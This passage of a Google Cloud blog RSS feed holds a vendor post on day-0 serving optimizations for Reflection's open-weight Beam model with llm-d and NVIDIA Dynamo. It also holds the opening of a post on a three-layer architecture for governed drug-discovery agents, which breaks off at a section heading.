<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Cloud Blog</title><link>https://cloud.google.com/blog/</link><description>Cloud Blog</description><atom:link href="https://cloudblog.withgoogle.com/blog/rss/" rel="self"></atom:link><language>en</language><lastBuildDate>Fri, 16 Oct 2026 17:41:40 +0000</lastBuildDate><image><url>https://cloud.google.com/blog/static/blog/images/google.a51985becaa6.png</url><title>Cloud Blog</title><link>https://cloud.google.com/blog/</link></image><item><title>Day 0 support for Reflection’s Beam on Google Cloud: 5x faster perf with llm-d and NVIDIA Dynamo</title><link>https://cloud.google.com/blog/topics/ai-infrastructure/day-0-support-with-5x-perf-for-reflection-beam-on-google-cloud/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Today, Reflection released &lt;/span&gt;&lt;a href="https://huggingface.co/reflection" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Beam&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, its first open-weight model built to give developers, researchers, and enterprises open control and customization for frontier software engineering and long-horizon agentic tasks. Released under a permissive Apache 2.0 license with &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;BF16&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;FP8&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;, and &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;NVFP4&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; checkpoints available at launch, Beam sets a new standard for inference efficiency in the 500B-parameter class by solving complex reasoning and coding problems with &lt;/span&gt;&lt;a href="https://reflection.ai/blog/introducing-beam" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;3x to 4x higher reasoning&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; compute efficiency than comparable open models.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Alongside today’s release, Google Cloud is announcing day 0 support and ready-to-run deployment recipes for serving Beam on Google Cloud AI Hypercomputer and NVIDIA AI Infrastructure.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To help developers get the full benefit of Beam’s token efficiency in production, we worked with Reflection to optimize performance of the underlying serving stack using&lt;/span&gt;&lt;a href="https://llm-d.ai/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;llm-d&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; (with vLLM) and NVIDIA &lt;/span&gt;&lt;a href="https://github.com/ai-dynamo/dynamo" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Dynamo&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; (with SGLang) on Google Cloud:&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left: 40px;"&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;"By deploying our Beam model on Google Cloud, we achieved up to 5x higher performance and 8x lower latency to optimize serving of agentic workloads."&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; - &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Joe Spisak, VP of Product &amp;amp; Head of Open Source, Reflection&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;With today’s day 0 release on Google Cloud, developers get:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Compounding model and system efficiency: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Combining Beam’s 3x to 4x reasoning compute efficiency with system-level optimizations on A4X Max instances (NVIDIA GB300 NVL72) for up to 5x higher throughput and 8x lower latency,* and G4 VMs (NVIDIA RTX PRO 6000) for up to 2x higher throughput and 8x lower latency.*&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;High-efficiency multi-turn serving:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; KV-cache-aware routing, prefill/decode disaggregation, speculative decoding and hierarchical KV cache offloading to Host DRAM and Local SSD reduce redundant prompt recomputation across long coding sessions.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Turnkey optimized deployment:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Our recommended performance optimized recipes for agentic workloads with llm-d and NVIDIA Dynamo are available in &lt;/span&gt;&lt;a href="https://github.com/AI-Hypercomputer/gpu-recipes" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;AI-Hypercomputer/gpu-recipes&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://github.com/llm-d/llm-d/tree/main/guides" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;llm-d repo&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;a href="https://console.cloud.google.com/agent-platform/publishers/reflection/model-garden/beam"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Model Garden&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; in Gemini platform&lt;/span&gt;&lt;a href="https://console.cloud.google.com/agent-platform/publishers/reflection/model-garden/beam"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;with a few clicks. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;*Based on customer benchmarking&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Scaling inference requires system-level optimization&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;When evaluating models for agentic coding and tool use, inference efficiency happens at two distinct layers: &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;how efficiently the model reasons&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;how efficiently the serving system executes multi-turn loops&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Model-level efficiency: Reflection’s Beam&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Reflection designed Beam (&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;~501B&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; total parameters with &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;~23B&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; active parameters per token, and an approximately &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;1M&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;-token context window) specifically for text-native software engineering and multi-step tool use. It plugs directly into the coding harnesses developers already use, including Reflection’s Mirror CLI, Claude Code, Hermes, OpenCode, and , to resolve GitHub issues, run CLI and DevOps workflows, and complete long-horizon tasks.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Because Beam activates only 23B parameters per token and reaches solutions using &lt;/span&gt;&lt;a href="https://reflection.ai/blog/introducing-beam" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;3x to 4x fewer reasoning tokens&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; than other comparable open weight models, it dramatically reduces the inference-time compute required for each reasoning step.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;System-level efficiency: AI Hypercomputer optimized serving&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Once developers deploy an agent into production, a second set of bottlenecks could appear at the serving layer. In an agentic coding loop, the model is called dozens of times in a single session. With every turn, the coding harness appends new file reads, code diffs, compiler logs, and tool outputs to a shared conversation history that quickly grows to tens or hundreds of thousands of tokens.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Even when the model itself generates 3x to 4x fewer reasoning tokens on each turn, the &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;accumulated context window across turns&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; creates two major infrastructure challenges:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;First, &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;prefill compute becomes a bottleneck&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;. Standard Kubernetes load balancers distribute requests using stateless round-robin routing. When a coding harness sends Turn 15 of a session, it often lands on a different replica than Turn 14. That replica is forced to recompute the entire historical prompt from scratch, wasting GPU compute and creating long prefill queues that delay other users.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Second, &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;decode becomes bottlenecked by KV cache capacity&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;. Holding long-context KV caches for dozens of concurrent agent sessions quickly fills up GPU High-Bandwidth Memory (HBM). Once HBM fills up, the serving engine has to evict older KV blocks. As soon as those blocks are evicted, cache hit rates drop and GPU throughput stalls.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To preserve Beam’s model-level efficiency at cluster scale, the serving stack has to be optimized as a distributed system. That is why our recipes pair Beam with&lt;/span&gt; &lt;a href="https://llm-d.ai/" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;llm-d&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; (with vLLM) and&lt;/span&gt; &lt;a href="https://github.com/ai-dynamo/dynamo" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;NVIDIA Dynamo&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; (with SGLang).&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Inside the AI Hypercomputer inference architecture&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To run Beam’s &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;BF16&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;FP8&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;, and &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;NVFP4&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; checkpoints at peak efficiency on Day 0, we designed a vertically integrated architecture on AI Hypercomputer where each layer handles a specific part of the agentic serving lifecycle.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/1_-_architecture.max-1000x1000.png"
        
          alt="1 - architecture"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="soz5i"&gt;System optimized architecture for serving agentic traffic&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Rather than treating inference pods as stateless endpoints, each layer of the stack is co-designed around the multi-turn agent lifecycle:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Prefix- and load-aware routing (GKE + llm-d EPP / Dynamo router):&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Tracks cached prefixes and queue depth across worker pods, steering each follow-up turn from a coding harness to the replica holding its warm KV prefix while preventing queue saturation via turn-priority flow control.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Disaggregated compute and speculative decoding (A4X Max &amp;amp; G4 instance)&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Runs vLLM and SGLang with native Blackwell NVFP4, Expert Parallelism (EP) for Beam’s 23B active experts, Data-Parallel Attention, and DFlash2 speculative decoding. Separating &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Prefill and Decode (P/D) pools&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; ensures heavy prompt bursts never stall active token generation.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Tiered KV cache (GPU Memory -&amp;gt; DRAM &amp;amp; Local SSD)&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Active KV blocks stay in high-bandwidth GPU memory (&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Tier 1&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;), while warm KV blocks evicted during long-horizon sessions overflow into host CPU DRAM and local NVMe SSDs (&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Tier 2&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;) via vLLM’s OffloadingConnector or SGLang's HiCache, allowing historical context to be fetched in milliseconds instead of recomputed from scratch.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;System optimizations for multi-turn agentic workloads&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;When serving multi-turn coding and tool-use workloads like the &lt;/span&gt;&lt;a href="https://inferencex.semianalysis.com/agentx" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;AgentX trajectory dataset &lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;across rising concurrency levels, each layer in the serving stack contributes to the performance and latency improvements for multi-turn, long context traffic patterns of agentic workloads:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;A note on reading these charts. &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;The two configurations are not comparable to each other. NVIDIA Dynamo ran on A4X Max instances with 32 x NVIDIA GB300 NVL72GPUs; llm-d ran on G4 VMs with 8 x NVIDIA RTX PRO 6000 GPUs. Each chart shows the gain over a baseline on the same hardware. More replicas give the router more warm KV caches to hit and more room to split prefill from decode, so the uplift grows with the deployment. Both llm-d and NVIDIA Dynamo scale up and down to match the underlying infrastructure.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/2_-_gb300_results.max-1000x1000.png"
        
          alt="2 - gb300 results"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="soz5i"&gt;NVIDIA Dynamo optimized perf vs baseline deployment of Reflection's Beam&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/3_-_G4_results.max-1000x1000.png"
        
          alt="3 - G4 results"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="soz5i"&gt;llm-d optimized perf vs baseline deployment of Reflection's Beam&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Across both platforms, layering these optimizations shifts the Pareto frontier to deliver higher output throughput and faster per-user interactivity simultaneously:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Baseline deployment (Stateless round-robin routing).&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; In a standard Kubernetes deployment without prefix awareness, consecutive turns from the same coding session land on different replicas, forcing constant prefill recomputation on historical context and causing throughput to plateau as concurrency scales.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;KV-cache-aware &amp;amp; flow control routing.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Enabling prefix-aware routing in NVIDIA Dynamo or llm-d’s Sticky EPP with turn-priority flow control keeps multi-turn agent trajectories pinned to the replica holding their warm KV cache, immediately cutting Time-to-First-Token (TTFT) latency and freeing up GPU compute, resulting in a significant increase in token throughput.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Host DRAM and Local SSD (LSSD) KV offloading.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Offloading evicted KV blocks from GPU memory into host DRAM and local NVMe SSDs prevents cache thrashing when dozens of long-context coding sessions exceed on-device GPU memory capacity.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Disaggregated serving, speculative decoding, and KV pool tuning.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Tuning hybrid KV cache memory allocation, enabling speculative decoding, and disaggregating prefill and decode workers isolates token generation from heavy prompt bursts while the draft model multiplies output throughput to keep per-agent token interactivity fast.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Get started and meet us at PyTorchCon and GTC Berlin &lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;This blog explored how you can leverage system level optimizations to scale performance to serve Reflection's Beam family of models for agentic workloads. All of the Kubernetes manifests, router configurations, and benchmarking scripts from this post are open-source and ready to run on your own GKE cluster.&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Deploy the optimized stack&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Explore the day 0 guides for running Reflection’s Beam with llm-d and NVIDIA Dynamo in the&lt;/span&gt;&lt;a href="https://github.com/ai-hypercomputer/gpu-recipes" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;AI-Hypercomputer/gpu-recipes repository&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; on &lt;/span&gt;&lt;a href="https://github.com/AI-Hypercomputer/gpu-recipes/tree/main/inference/a4xmax/disaggregated-serving/dynamo" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;A4X Max&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;a href="https://github.com/AI-Hypercomputer/gpu-recipes/tree/main/inference/g4/aggregated-serving/llm-d" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;G4&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, and &lt;/span&gt;&lt;a href="https://console.cloud.google.com/agent-platform/publishers/reflection/model-garden/beam"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Model Garden&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; in Gemini platform.&lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Download the weights&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Grab the Apache 2.0 &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;BF16&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;FP8&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;, and &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;NVFP4&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; checkpoints on&lt;/span&gt;&lt;a href="https://huggingface.co/reflection" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Reflection’s Hugging Face page&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Visit us at the llm-d and PyTorch Conference in San Jose&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: If you are attending PyTorch Conference North America in San Jose this October, stop by the &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;llm-d community sessions&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; and the Google Cloud booth #. We will be walking through live demos of KV-cache-aware routing, P/D disaggregation, and KV cache tiering for agentic workloads.&lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Come see us at NVIDIA GTC Berlin: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;If you are attending NVIDIA GTC Berlin, come connect with us at our booth #3026, or our Google Cloud Hub at w3.hub: just a short 5 minute walk from the venue. &lt;/span&gt;&lt;a href="https://cloud.google.com/nvidia#join-us-at-gtc-berlin"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Learn more about our sessions&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt; &lt;/p&gt;&lt;/div&gt;</description><pubDate>Fri, 16 Oct 2026 17:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/topics/ai-infrastructure/day-0-support-with-5x-perf-for-reflection-beam-on-google-cloud/</guid><category>Containers &amp; Kubernetes</category><category>AI Hypercomputer</category><category>Compute</category><category>llm-d</category><category>AI infrastructure</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Day 0 support for Reflection’s Beam on Google Cloud: 5x faster perf with llm-d and NVIDIA Dynamo</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/topics/ai-infrastructure/day-0-support-with-5x-perf-for-reflection-beam-on-google-cloud/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Injae Kwak</name><title>AI Infrastructure Product Manager</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Shivaji Dutta</name><title>AI Infra Solutions Architect</title><department></department><company></company></author></item><item><title>Architecting autonomy: A design pattern for high-compute, governed agents in biotech</title><link>https://cloud.google.com/blog/topics/healthcare-life-sciences/architecting-scalable-agentic-biotech-workloads/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;In production systems today, most AI agents operate as lightweight dispatchers. They parse a prompt, make an API call, retrieve a record, and hand back control. Their execution is fast, stateless and cheap. Biotechnology does not work this way. &lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;Folding a protein target, screening a 50,000 compound ligand library, or evaluating structure-activity relationships (SAR) are not quick API lookups. They are sustained, stateful, GPU-bound simulations that run for minutes or even hours across specialized silicon. When you ask a general-purpose large language model (LLM) endpoint to coordinate a complex drug discovery workflow, the standard paradigm breaks: Timeouts occur, context windows overflow with atomic coordinates, and proprietary chemical Intellectual Property (IP) risks exposure to external networks. &lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;Building enterprise grade research and development (R&amp;amp;D) agents requires moving past the monolithic assistant model. In this blog post, we will discuss how to use a three-layer architecture: separating cognitive orchestration (the brain) from computational execution (the muscle), and anchoring both inside an enterprise governance plane to build scalable agents for drug discovery use cases in biotech. &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-video"&gt;



&lt;div class="article-module article-video "&gt;
  &lt;figure&gt;
    &lt;a class="h-c-video h-c-video--marquee"
      href="https://youtube.com/watch?v=TZTDqtSpzv8"
      data-glue-modal-trigger="uni-modal-TZTDqtSpzv8-"
      data-glue-modal-disabled-on-mobile="true"&gt;

      
        &lt;img src="//img.youtube.com/vi/TZTDqtSpzv8/maxresdefault.jpg"
             alt="AI Agent Infrastructure Decoded"/&gt;
      
      &lt;svg role="img" class="h-c-video__play h-c-icon h-c-icon--color-white"&gt;
        &lt;use xlink:href="#mi-youtube-icon"&gt;&lt;/use&gt;
      &lt;/svg&gt;
    &lt;/a&gt;

    
  &lt;/figure&gt;
&lt;/div&gt;

&lt;div class="h-c-modal--video"
     data-glue-modal="uni-modal-TZTDqtSpzv8-"
     data-glue-modal-close-label="Close Dialog"&gt;
   &lt;a class="glue-yt-video"
      data-glue-yt-video-autoplay="true"
      data-glue-yt-video-height="99%"
      data-glue-yt-video-vid="TZTDqtSpzv8"
      data-glue-yt-video-width="100%"
      href="https://youtube.com/watch?v=TZTDqtSpzv8"
      ng-cloak&gt;
   &lt;/a&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3 style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;A three-layer pattern&lt;/span&gt;&lt;/h3&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;The reference architecture below shows how to architect, optimize, and govern high-compute autonomous agents in biotechnology, specifically Drug Discovery. &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_1_TukBnfH.max-1000x1000.jpg"
        
          alt="Figure 1"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="4nr3v"&gt;Figure 1 — The three-layer pattern: a cognitive orchestrator (brain), a scalable GPU execution layer (muscle), and an enterprise governance plane.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;The execution layer: scaling the muscle - high-compute execution&lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/h4&gt;
